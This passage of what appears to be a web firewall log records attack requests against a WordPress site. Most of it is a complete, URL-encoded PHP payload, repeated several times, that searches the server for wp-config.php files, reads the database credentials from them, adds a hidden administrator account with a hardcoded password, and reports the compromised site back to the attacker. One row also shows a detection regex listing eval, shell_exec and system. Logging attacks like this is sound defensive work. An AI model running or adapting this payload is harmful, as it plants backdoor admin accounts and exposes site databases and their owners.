B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nphaqOW=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:37:00","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%